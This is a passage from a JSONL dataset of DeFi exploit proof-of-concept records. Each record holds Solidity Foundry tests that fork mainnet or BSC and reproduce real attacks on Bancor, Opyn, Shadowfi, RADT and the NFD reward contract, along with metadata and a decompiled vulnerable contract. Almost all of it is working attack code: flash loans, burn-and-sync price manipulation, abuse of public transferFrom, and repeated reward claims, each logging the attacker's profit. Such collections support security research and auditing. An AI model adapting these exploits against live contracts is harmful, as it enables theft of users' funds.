// attack\n attack();\n\n // check profit\n emit log_named_decimal_uint(\n \"[After Attack] Attacker WETH Balance : \", (IERC20(weth).balanceOf(address(this))), 18\n );\n emit log_named_decimal_uint(\n \"[After Attack] Attacker STA Balance : \", (IERC20(sta).balanceOf(address(this))), 18\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://etherscan.io/tx/0x013be97768b702fe8eccef1a40544d5ecb3c1961ad5f87fee4d16fdc08c78106", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 7, "quality_estimate": "medium", "title": "Balancer_20200628 Exploit (2020-06)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n/*\nBancor Protocol Access Control Exploit PoC\n\nSome of the newly deployed Bancor contracts had the 'safeTransferFrom' function public.\n\nAs a result, if any user had granted approval to these contracts was vulnerable.\n\nThe attacker can check if an user had granted an allowance to Bancor Contracts to transfer the ERC20 token \n\nExample tx - https://etherscan.io/tx/0x4643b63dcbfc385b8ab8c86cbc46da18c2e43d277de3e5bc3b4516d3c0fdeb9f\n*/\n\ninterface IBancor {\n function safeTransferFrom(IERC20 _token, address _from, address _to, uint256 _value) external;\n}\n\ncontract BancorExploit is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n address bancorAddress = 0x5f58058C0eC971492166763c8C22632B583F667f;\n address victim = 0xfd0B4DAa7bA535741E6B5Ba28Cba24F9a816E67E;\n address attacker = address(this);\n IERC20 XBPToken = IERC20(0x28dee01D53FED0Edf5f6E310BF8Ef9311513Ae40);\n\n IBancor bancorContract = IBancor(bancorAddress);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 10_307_563); // fork mainnet at 10307563\n }\n\n function testsafeTransfer() public {\n emit log_named_uint(\n \"Victim XBPToken Allowance to Bancor Contract : \", (XBPToken.allowance(victim, bancorAddress) / 1 ether)\n );\n emit log_named_uint(\"[Before Attack]Victim XBPToken Balance : \", (XBPToken.balanceOf(victim)) / 1 ether);\n emit log_named_uint(\"[Before Attack]Attacker XBPToken Balance : \", (XBPToken.balanceOf(attacker)) / 1 ether);\n\n cheats.prank(address(this));\n bancorContract.safeTransferFrom(\n IERC20(address(XBPToken)),\n victim,\n attacker,\n XBPToken.balanceOf(victim) //905987977635678910008152\n );\n emit log_string(\"--------------------------------------------------------------\");\n emit log_named_uint(\"[After Attack]Victim XBPToken Balance : \", (XBPToken.balanceOf(victim)) / 1 ether);\n emit log_named_uint(\"[After Attack]Attacker XBPToken Balance : \", (XBPToken.balanceOf(attacker)) / 1 ether);\n }\n}\n", "type": "exploit_poc", "protocol": "Bancor", "date": "2020-06", "file_name": "Bancor_exp.sol", "attack_vector": "access_control", "content_hash": "abd6e7917494f4fc", "collected_at": "2026-01-07T10:59:16.525743", "_source": "postmortems", "chain": "ethereum", "block_number": 10307563, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "access-control", "exploit_code": "function testsafeTransfer() public {\n emit log_named_uint(\n \"Victim XBPToken Allowance to Bancor Contract : \", (XBPToken.allowance(victim, bancorAddress) / 1 ether)\n );\n emit log_named_uint(\"[Before Attack]Victim XBPToken Balance : \", (XBPToken.balanceOf(victim)) / 1 ether);\n emit log_named_uint(\"[Before Attack]Attacker XBPToken Balance : \", (XBPToken.balanceOf(attacker)) / 1 ether);\n\n cheats.prank(address(this));\n bancorContract.safeTransferFrom(\n IERC20(address(XBPToken)),\n victim,\n attacker,\n XBPToken.balanceOf(victim) //905987977635678910008152\n );\n emit log_string(\"--------------------------------------------------------------\");\n emit log_named_uint(\"[After Attack]Victim XBPToken Balance : \", (XBPToken.balanceOf(victim)) / 1 ether);\n emit log_named_uint(\"[After Attack]Attacker XBPToken Balance : \", (XBPToken.balanceOf(attacker)) / 1 ether);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.11, "quality_estimate": "low", "title": "Bancor Exploit (2020-06)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.17;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n/*\n@Analysis \nhttps://medium.com/opyn/opyn-eth-put-exploit-post-mortem-1a009e3347a8\n\n@Transaction\n0x56de6c4bd906ee0c067a332e64966db8b1e866c7965c044163a503de6ee6552a*/\n\ncontract ContractTest is Test {\n IOpyn opyn = IOpyn(0x951D51bAeFb72319d9FBE941E1615938d89ABfe2);\n\n address attacker = 0xe7870231992Ab4b1A01814FA0A599115FE94203f;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n IUSDC usdc = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 10_592_516); //fork mainnet at block 10592516\n }\n\n function test_attack() public {\n cheats.startPrank(attacker);\n\n uint256 balBefore = usdc.balanceOf(attacker) / 1e6;\n console.log(\"Attacker USDC balance before is \", balBefore);\n console.log(\"------EXPLOIT-----\");\n\n //Adds ERC20 collateral, and mints new oTokens in one step\n uint256 amtToCreate = 300_000_000;\n uint256 amtCollateral = 9_900_000_000;\n opyn.addERC20CollateralOption(amtToCreate, amtCollateral, attacker);\n\n //create an arry of vaults\n address payable[] memory _arr = new address payable[](2);\n _arr[0] = payable(0xe7870231992Ab4b1A01814FA0A599115FE94203f);\n _arr[1] = payable(0x01BDb7Ada61C82E951b9eD9F0d312DC9Af0ba0f2);\n\n //The attacker excercises the put option on two different valuts using the same msg.value\n opyn.exercise{value: 30 ether}(600_000_000, _arr);\n\n //remove share of underlying after excercise\n opyn.removeUnderlying();\n\n uint256 balAfter = usdc.balanceOf(attacker) / 1e6;\n console.log(\"Attacker USDC balance after is \", balAfter);\n console.log(\"Attacker profit is \", balAfter - balBefore);\n }\n}\n", "type": "exploit_poc", "protocol": "Opyn", "date": "2020-08", "file_name": "Opyn_exp.sol", "attack_vector": null, "content_hash": "91bc667000fa78dd", "collected_at": "2026-01-07T10:59:16.525784", "_source": "postmortems", "chain": "unknown", "block_number": 10592516, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function test_attack() public {\n cheats.startPrank(attacker);\n\n uint256 balBefore = usdc.balanceOf(attacker) / 1e6;\n console.log(\"Attacker USDC balance before is \", balBefore);\n console.log(\"------EXPLOIT-----\");\n\n //Adds ERC20 collateral, and mints new oTokens in one step\n uint256 amtToCreate = 300_000_000;\n uint256 amtCollateral = 9_900_000_000;\n opyn.addERC20CollateralOption(amtToCreate, amtCollateral, attacker);\n\n //create an arry of vaults\n address payable[] memory _arr = new address payable[](2);\n _arr[0] = payable(0xe7870231992Ab4b1A01814FA0A599115FE94203f);\n _arr[1] = payable(0x01BDb7Ada61C82E951b9eD9F0d312DC9Af0ba0f2);\n\n //The attacker excercises the put option on two different valuts using the same msg.value\n opyn.exercise{value: 30 ether}(600_000_000, _arr);\n\n //remove share of underlying after excercise\n opyn.removeUnderlying();\n\n uint256 balAfter = usdc.balanceOf(attacker) / 1e6;\n console.log(\"Attacker USDC balance after is \", balAfter);\n console.log(\"Attacker profit is \", balAfter - balBefore);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.96, "quality_estimate": "low", "title": "Opyn Exploit (2020-08)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface ISDF {\n function burn(address, uint256) external;\n function balanceOf(\n address owner\n ) external view returns (uint256);\n function approve(address spender, uint256 value) external returns (bool);\n}\n\ninterface IPair {\n function sync() external;\n}\n\ncontract ContractTest is Test {\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n ISDF SDF = ISDF(0x10bc28d2810dD462E16facfF18f78783e859351b);\n IPair Pair = IPair(0xF9e3151e813cd6729D52d9A0C3ee69F22CcE650A);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 20_969_095);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"[Start] Attacker WBNB balance before exploit\", WBNB.balanceOf(address(this)), 18);\n\n address(WBNB).call{value: 0.01 ether}(\"\");\n WBNBToSDF();\n SDF.burn(address(Pair), SDF.balanceOf(address(Pair)) - 1);\n Pair.sync();\n SDFToWBNB();\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n function WBNBToSDF() public {\n WBNB.approve(address(Router), ~uint256(0));\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(SDF);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n SDF.approve(address(Router), ~uint256(0));\n }\n\n function SDFToWBNB() public {\n address[] memory path = new address[](2);\n path[0] = address(SDF);\n path[1] = address(WBNB);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n SDF.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "Shadowfi", "date": "2022-09", "file_name": "Shadowfi_exp.sol", "attack_vector": null, "content_hash": "6b3a6198cec875cb", "collected_at": "2026-01-07T10:59:16.525826", "_source": "postmortems", "chain": "unknown", "block_number": 20969095, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"[Start] Attacker WBNB balance before exploit\", WBNB.balanceOf(address(this)), 18);\n\n address(WBNB).call{value: 0.01 ether}(\"\");\n WBNBToSDF();\n SDF.burn(address(Pair), SDF.balanceOf(address(Pair)) - 1);\n Pair.sync();\n SDFToWBNB();\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.03, "quality_estimate": "low", "title": "Shadowfi Exploit (2022-09)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IWRAP {\n function withdraw(address from, address to, uint256 amount) external;\n}\n\ninterface IDODO {\n function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;\n\n function _BASE_TOKEN_() external view returns (address);\n}\n\ncontract ContractTest is Test {\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 RADT = IERC20(0xDC8Cb92AA6FC7277E3EC32e3f00ad7b8437AE883);\n Uni_Pair_V2 pair = Uni_Pair_V2(0xaF8fb60f310DCd8E488e4fa10C48907B7abf115e);\n IWRAP wrap = IWRAP(0x01112eA0679110cbc0ddeA567b51ec36825aeF9b);\n address constant dodo = 0xDa26Dd3c1B917Fbf733226e9e71189ABb4919E3f;\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 21_572_418);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"[Start] Attacker USDT balance before exploit\", USDT.balanceOf(address(this)), 18);\n\n USDT.approve(address(Router), ~uint256(0));\n RADT.approve(address(Router), ~uint256(0));\n IDODO(dodo).flashLoan(0, 200_000 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n buyRADT();\n USDT.transfer(address(pair), 1);\n uint256 amount = RADT.balanceOf(address(pair)) * 100 / 9;\n wrap.withdraw(address(0x68Dbf1c787e3f4C85bF3a0fd1D18418eFb1fb0BE), address(pair), amount);\n pair.sync();\n sellRADT();\n USDT.transfer(address(dodo), 200_000 * 1e18);\n }\n\n function buyRADT() public {\n address[] memory path = new address[](2);\n path[0] = address(USDT);\n path[1] = address(RADT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 1000 * 1e18, 0, path, address(this), block.timestamp\n );\n }\n\n function sellRADT() public {\n address[] memory path = new address[](2);\n path[0] = address(RADT);\n path[1] = address(USDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n RADT.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "RADT", "date": "2022-09", "file_name": "RADT_exp.sol", "attack_vector": "flash_loan", "content_hash": "264146bed1455381", "collected_at": "2026-01-07T10:59:16.525862", "_source": "postmortems", "chain": "unknown", "block_number": 21572418, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"[Start] Attacker USDT balance before exploit\", USDT.balanceOf(address(this)), 18);\n\n USDT.approve(address(Router), ~uint256(0));\n RADT.approve(address(Router), ~uint256(0));\n IDODO(dodo).flashLoan(0, 200_000 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.28, "quality_estimate": "low", "title": "RADT Exploit (2022-09)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : 4481 BNB (~125M US$)\n// Attacker : 0x22c9736d4fc73a8fa0eb436d2ce919f5849d6fd2\n// Attack Contract : 0xa35ef9fa2f5e0527cb9fbb6f9d3a24cfed948863\n// Vulnerable Contract : 0x8b068e22e9a4a9bca3c321e0ec428abf32691d1e\n// Attack Tx1 : 0x1fea385acf7ff046d928d4041db017e1d7ead66727ce7aacb3296b9d485d4a26 (-2952.97 BNB)\n// Attack Tx2 : 0xb6f9b5ef1feeadb379a2de8f79bb04dd6920bfb214136d057eed4ce23a0003f8 (-1412.77 BNB)\n// Attack Tx3 : 0x8b77d75efa185295b09bdf2edcb509541fdde40ed5484212331ceac41b2f4ac0 (-115.57 BNB)\n\n// @Info\n// WBNB-USDT Pair : 0x16b9a82891338f9ba80e2d6970fdda79d1eb0dae\n// USDT-NFD Pair : 0x26c0623847637095655b2868c3182b2285bdaeaf\n\n// @Analysis\n// PeckShield : https://twitter.com/peckshield/status/1567710274244825088\n// Beosin : https://twitter.com/BeosinAlert/status/1567757251024396288\n// Blocksec : https://twitter.com/BlockSecTeam/status/1567706201277988866\n// SlowMist : https://twitter.com/SlowMist_Team/status/1567854876633309186\n// CertiK : https://mp.weixin.qq.com/s/xGQ9SIxrwOizog3XDnM5iw\n\nCheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\naddress constant vulnContract = 0x8B068E22E9a4A9bcA3C321e0ec428AbF32691D1E;\n\ncontract Attacker is Test {\n IPancakeRouter constant PancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n address constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\n address constant dodo = 0xD534fAE679f7F02364D177E9D44F1D15963c0Dd7;\n address constant usdt = 0x55d398326f99059fF775485246999027B3197955;\n address constant nfd = 0x38C63A5D3f206314107A7a9FE8cBBa29D629D4F9;\n\n function setUp() public {\n cheat.createSelectFork(\"bsc\", 21_140_434);\n console.log(\"---------- Reproduce Attack Tx1 ----------\");\n cheat.label(address(PancakeRouter), \"PancakeRouter\");\n cheat.label(vulnContract, \"vulnContractName\");\n cheat.label(wbnb, \"WBNB\");\n cheat.label(dodo, \"DODO\");\n cheat.label(usdt, \"USDT\");\n cheat.label(nfd, \"NFD\");\n }\n\n function testExploit() public {\n console.log(\"Flashloan 250 WBNB from DODO DLP...\");\n bytes memory data = abi.encode(dodo, wbnb, 250 * 1e18);\n DVM(dodo).flashLoan(0, 250 * 1e18, address(this), data);\n }\n\n function DVMFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n require(IERC20(wbnb).balanceOf(address(this)) == quoteAmount, \"Invalid WBNB amount\");\n require(quoteAmount == 250 * 1e18, \"Invalid WBNB amount\");\n\n console.log(\"Swap 250 WBNB to NFD...\");\n address[] memory path = new address[](3);\n path[0] = wbnb;\n path[1] = usdt;\n path[2] = nfd;\n IERC20(wbnb).approve(address(PancakeRouter), type(uint256).max);\n PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n quoteAmount, 0, path, address(this), block.timestamp\n );\n\n emit log_named_decimal_uint(\"[*] NFD balance before attack\", IERC20(nfd).balanceOf(address(this)), 18);\n\n console.log(\"Abuse the Reward Contract...\");\n for (uint8 i; i < 50; i++) {\n Exploit exploit = new Exploit();\n uint256 nfdAmount = IERC20(nfd).balanceOf(address(this));\n IERC20(nfd).transfer(address(exploit), nfdAmount);\n exploit.abuse();\n }\n\n emit log_named_decimal_uint(\"[*] NFD balance after attack\", IERC20(nfd).balanceOf(address(this)), 18);\n\n console.log(\"Swap the profit...\");\n uint256 nfdBalance = IERC20(nfd).balanceOf(address(this));\n path[0] = nfd;\n path[1] = usdt;\n path[2] = wbnb;\n IERC20(nfd).approve(address(PancakeRouter), type(uint256).max);\n PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n nfdBalance, 0, path, address(this), block.timestamp\n );\n\n console.log(\"Repay the flashloan...\");\n IERC20(wbnb).transfer(msg.sender, 250 * 1e18);\n\n emit log_named_decimal_uint(\"Attacker's Net Profit\", IERC20(wbnb).balanceOf(address(this)), 18);\n }\n}\n\ncontract Exploit is Test {\n address constant rewardContract = vulnContract;\n address constant nfd = 0x38C63A5D3f206314107A7a9FE8cBBa29D629D4F9;\n\n // Function 0xe2f9d09c\n function abuse() external {\n rewardContract.call(abi.encode(bytes4(0x6811e3b9)));\n uint256 bal = IERC20(nfd).balanceOf(address(this));\n require(IERC20(nfd).transfer(msg.sender, bal), \"Transfer profit failed\");\n }\n}\n\n/* -------------------- Decompiled Vulnerable Contract 0x8b068e22e9a4a9bca3c321e0ec428abf32691d1e -------------------- */\n\n/*\n\n// Data structures and variables inferred from the use of storage instructions\nuint256 stor_4; // STORAGE[0x4]\nuint256 stor_6; // STORAGE[0x6]\nuint256 stor_7; // STORAGE[0x7]\nuint256 stor_8; // STORAGE[0x8]\nmapping (uint256 => [uint256]) _manager; // STORAGE[0x9]\nuint256 stor_b; // STORAGE[0xb]\nuint256 stor_c; // STORAGE[0xc]\nmapping (uint256 => [uint256]) owner_d; // STORAGE[0xd]\nmapping (uint256 => [uint256]) map_e; // STORAGE[0xe]\nmapping (uint256 => [uint256]) map_f; // STORAGE[0xf]\naddress _owner; // STORAGE[0x0] bytes 0 to 19\nuint8 stor_5_0_0; // STORAGE[0x5] bytes 0 to 0\naddress stor_2_0_19; // STORAGE[0x2] bytes 0 to 19\naddress _isAirAddr; // STORAGE[0x3] bytes 0 to 19\nuint160 stor_a_0_19; // STORAGE[0xa] bytes 0 to 19\nuint160 _uniswapV2Pair; // STORAGE[0x10] bytes 0 to 19\nuint160 stor_11_0_19; // STORAGE[0x11] bytes 0 to 19\n\n// Events\nOwnershipTransferred(address, address);\n\nfunction 0x165a8104(uint256 varg0) public nonPayable { \n require(msg.data.length - 4 >= 32);\n require(_owner == msg.sender, 'Ownable: caller is not the owner');\n stor_7 = varg0;\n emit 0xf74522b699eb1e736fbc4015ff4612e193066b928e4bf55d3f9f7970c0bd05a8(stor_7);\n}\n\nfunction 0x176069e3() public nonPayable { \n return stor_7;\n}\n\nfunction 0x1b856149(uint256 varg0) public nonPayable { \n require(msg.data.length - 4 >= 32);\n require(_owner == msg.sender, 'Ownable: caller is not the owner');\n stor_6 = varg0;\n emit 0x9cf8c6d107f8e787a8a0582377cfb42f047768b0a1f96f3a4e67e9c79f3a4bf5(stor_6);\n}\n\nfunction 0x1f6c647e(uint256 varg0) public nonPayable { \n require(msg.data.length - 4 >= 32);\n require(_owner == msg.sender, 'Ownable: caller is not the owner');\n stor_b = varg0;\n emit 0x7d7c5a32ef7976599b8e6059c3210fc6ae8017317568c6fb643f26e47a50c5f7(stor_b);\n}\n\nfunction 0x2ea7088b(uint256 varg0) public nonPayable { \n require(msg.data.length - 4 >= 32);\n return map_f[address(varg0)];\n}\n\nfunction _SafeDiv(uint256 varg0, uint256 varg1) private { \n if (varg0 > 0) {\n assert(varg0);\n return varg1 / varg0;\n } else {\n v0 = new array[](v1.length);\n v2 = v3 = 0;\n while (v2 < v1.length) {\n MEM[v0.data + v2] = v1[v2];\n v2 = v2 + 32;\n }\n if (26) {\n MEM[v0.data] = ~0xffffffffffff & MEM[v0.data];\n }\n revert(v0);\n }\n}\n\nfunction 0x3182(uint256 varg0, uint256 varg1) private { \n if (varg1 != 0) {\n v0 = v1 = varg1 * varg0;\n assert(varg1);\n require(v1 / varg1 == varg0, 'SafeMath: multiplication overflow');\n } else {\n v0 = v2 = 0;\n }\n return v0;\n}\n\nfunction () public payable { \n}\n\nfunction changeRouter(address varg0) public nonPayable { \n require(msg.data.length - 4 >= 32);\n require(_owner == msg.sender, 'Ownable: caller is not the owner');\n _uniswapV2Pair = varg0;\n}\n\nfunction 0x37a7f92b(uint256 varg0) public nonPayable { \n require(msg.data.length - 4 >= 32);\n require(_owner == msg.sender, 'Ownable: caller is not the owner');\n stor_11_0_19 = address(varg0);\n}\n\nfunction 0x3ac8730e() public nonPayable { \n return stor_a_0_19;\n}\n\nfunction 0x3d4b9272() public nonPayable { \n return _isAirAddr;\n}\n\nfunction 0x3e42c001() public nonPayable { \n return stor_11_0_19;\n}\n\nfunction 0x450d8418() public nonPayable { \n return stor_b;\n}\n\nfunction uniswapV2Pair() public nonPayable { \n return _uniswapV2Pair;\n}\n\nfunction 0x520adcf0(uint256 varg0) public nonPayable { \n require(msg.data.length - 4 >= 32);\n require(_owner == msg.sender, 'Ownable: caller is not the owner');\n v0 = address(varg0).call().value(this.balance).gas(!this.balance * 2300);\n require(v0); // checks call status, propagates error data on error\n}\n\nfunction 0x556dd2dc(uint256 varg0, uint256 varg1, uint256 varg2, uint256 varg3) public nonPayable { \n require(msg.data.length - 4 >= 128);\n require(0xff & _manager[msg.sender] == 1);\n require((address(varg0)).code.size);\n v0, v1 = address(varg0).transferFrom(address(varg1), address(varg2), varg3).gas(msg.gas);\n require(v0); // checks call status, propagates error data on error\n require(RETURNDATASIZE() >= 32);\n}\n\nfunction 0x56d7f5c6() public nonPayable { \n return stor_4;\n}\n\nfunction withdrawal(address varg0, uint256 varg1) public nonPayable { \n require(msg.data.length - 4 >= 64);\n require(_owner == msg.sender, 'Ownable: caller is not the owner');\n require(_isAirAddr.code.size);\n v0, v1 = _isAirAddr.transfer(varg0, varg1).gas(msg.gas);\n require(v0); // checks call status, propagates error data on error\n require(RETURNDATASIZE() >= 32);\n}\n\nfunction isAirAddr(address varg0) public nonPayable { \n require(msg.data.length - 4 >= 32);\n require(_isAirAddr.code.size);\n v0, v1 = _isAirAddr.call(0xdb9641d6, varg0).gas(msg.gas);\n require(v0); // checks call status, propagates error data on error\n require(RETURNDATASIZE() >= 32);\n return v1;\n}\n\nfunction 0x66240220() public nonPayable { \n return stor_8;\n}\n\nfunction 0x6811e3b9() public nonPayable { \n require(_isAirAddr.code.size);\n v0, v1 = _isAirAddr.balanceOf(msg.sender).gas(msg.gas);\n require(v0); // checks call status, propagates error data on error\n require(RETURNDATASIZE() >= 32);\n require(v1 > 0, 'Amount can not be Zero');\n if (owner_d[msg.sender] <= 0) {\n owner_d[msg.sender] = stor_6;\n }\n v2 = _SafeDiv(stor_8, block.timestamp - owner_d[msg.sender]);\n require(v2 > 0, 'The collection time was not reached');\n v3 = v4 = 0;\n if (block.timestamp > stor_7) {\n if (v2 > 0) {\n v5 = 0x3182(stor_b, v1);\n v3 = v6 = _SafeDiv(0xf4240, v5);\n }\n } else if (v2 > 0) {\n v7 = 0x3182(stor_b, v1);\n v8 = 0x3182(v2, v7);\n v3 = v9 = _SafeDiv(0xf4240, v8);\n }\n require(_isAirAddr.code.size);\n v10, v11 = _isAirAddr.transfer(msg.sender, v3).gas(msg.gas);\n require(v10); // checks call status, propagates error data on error\n require(RETURNDATASIZE() >= 32);\n owner_d[msg.sender] = block.timestamp;\n}\n\nfunction renounceOwnership() public nonPayable { \n require(_owner == msg.sender, 'Ownable: caller is not the owner');\n emit OwnershipTransferred(_owner, 0);\n _owner = 0;\n}\n\nfunction 0x76fc7ac2(uint256 varg0) public nonPayable { \n require(msg.data.length - 4 >= 32);\n require(_owner == msg.sender, 'Ownable: caller is not the owner');\n require(_isAirAddr.code.size);\n v0, v1 = _isAirAddr.balanceOf(address(varg0)).gas(msg.gas);\n require(v0); // checks call status, propagates error data on error\n require(RETURNDATASIZE() >= 32);\n require(v1 > 0, 'Amount can not be Zero');\n if (owner_d[address(varg0)] <= 0) {\n owner_d[address(varg0)] = stor_6;\n }\n v2 = _SafeDiv(stor_8, block.timestamp - owner_d[address(varg0)]);\n require(v2 > 0, 'The collection time was not reached');\n v3 = v4 = 0;\n if (block.timestamp > stor_7) {\n if (v2 > 0) {\n v5 = 0x3182(stor_b, v1);\n v3 = v6 = _SafeDiv(0xf4240, v5);\n }\n } else if (v2 > 0) {\n v7 = 0x3182(stor_b, v1);\n v8 = 0x3182(v2, v7);\n v3 = v9 = _SafeDiv(0xf4240, v8);\n }\n require(_isAirAddr.code.size);\n v10, v11 = _isAirAddr.transfer(address(varg0), v3).gas(msg.gas);\n require(v10); // checks call status, propagates error data on error\n require(RETURNDATASIZE() >= 32);\n owner_d[address(varg0)] = block.timestamp;\n}\n\nfunction 0x84af0fcc(uint256 varg0) public nonPayable { \n require(msg.data.length - 4 >= 32);\n require(_owner == msg.sender, 'Ownable: caller is not the owner');\n stor_8 = varg0;\n emit 0x117894c501424f40a6b56d8dd3e6aa1f1327b9aed040771359011cdcd785e6b(stor_8);\n}\n\nfunction owner() public nonPayable { \n return _owner;\n}\n\nfunction 0x8e6ced06(uint256 varg0) public nonPayable { \n require(msg.data.length - 4 >= 32);\n return owner_d[address(varg0)];\n}\n\nfunction 0x8fd6196c() public nonPayable { \n return stor_6;\n}\n\nfunction 0x8fd81532(uint256 varg0, uint256 varg1) public payable { \n require(msg.data.length - 4 >= 64);\n require(_owner == msg.sender, 'Ownable: caller is not the owner');\n require(stor_2_0_19.code.size);\n v0, v1 = stor_2_0_19.transfer(address(varg0), varg1).gas(msg.gas);\n require(v0); // checks call status, propagates error data on error\n require(RETURNDATASIZE() >= 32);\n}\n\nfunction 0x92116ca2(uint256 varg0) public nonPayable { \n require(msg.data.length - 4 >= 32);\n require(_isAirAddr.code.size);\n v0, v1 = _isAirAddr.balanceOf(address(varg0)).gas(msg.gas);\n require(v0); // checks call status, propagates error data on error\n require(RETURNDATASIZE() >= 32);\n require(v1 > 0, 'Amount can not be Zero');\n if (owner_d[address(varg0)] <= 0) {\n owner_d[address(varg0)] = stor_6;\n }\n v2 = v3 = 0;\n v4 = _SafeDiv(stor_8, block.timestamp - 